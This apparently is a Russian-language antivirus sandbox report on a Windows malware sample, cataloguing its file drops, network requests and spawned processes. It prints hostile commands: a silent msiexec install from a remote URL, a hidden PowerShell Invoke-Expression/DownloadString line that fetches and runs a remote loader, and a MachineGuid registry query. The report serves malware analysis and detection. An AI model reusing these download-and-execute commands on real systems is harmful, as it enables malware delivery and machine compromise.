Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\msiexec.exe' /i http://za#####tsolutions.com/Port.msi /qn
Загружает
- ’http://v.####ra.best:7373/myo?gi#######################################
- http://e.###era.best/download/sife/loader.txt
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\mw-e9065aa7-a77b-414f-aad4-297797cf8597\msiwrapper.ini
- %TEMP%\mw-e9065aa7-a77b-414f-aad4-297797cf8597\files.cab
- %TEMP%\mw-e9065aa7-a77b-414f-aad4-297797cf8597\files\$dpx$.tmp\fa1820955f8a2044946ee043c687413d.tmp
- %APPDATA%\microsoft\windows\templates\port.exe
Перемещает следующие файлы
- %TEMP%\mw-e9065aa7-a77b-414f-aad4-297797cf8597\files\$dpx$.tmp\fa1820955f8a2044946ee043c687413d.tmp в %TEMP%\mw-e9065aa7-a77b-414f-aad4-297797cf8597\files\notepad.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://za#####tsolutions.com/Port.msi
- http://v.####ra.best:7373/myO?gI###################################### via v.###era.best
- http://e.###era.best/Download/sife/Loader.txt
- http://e.###era.best/Download/sife/76.jpg
UDP
- DNS ASK za#####tsolutions.com
- DNS ASK v.###era.best
- DNS ASK e.###era.best
Другое
Создает и запускает на исполнение
- '%APPDATA%\microsoft\windows\templates\port.exe'
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' & {Invoke-Expression (New-Object Net.WebClient).DownloadString('http://e.###era.best/Download/sife/Loader.txt')}' (со скрытым окном)
- '%APPDATA%\microsoft\windows\templates\port.exe' ' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -NoLogo -NoExit -Command -' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /d /s /c "%windir%\sysnative\cmd.exe /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Microsoft\Windows\Templates\0706.vbs"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -NoLogo -NoExit -Command -
- '%WINDIR%\syswow64\cmd.exe' /d /s /c "%windir%\sysnative\cmd.exe /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
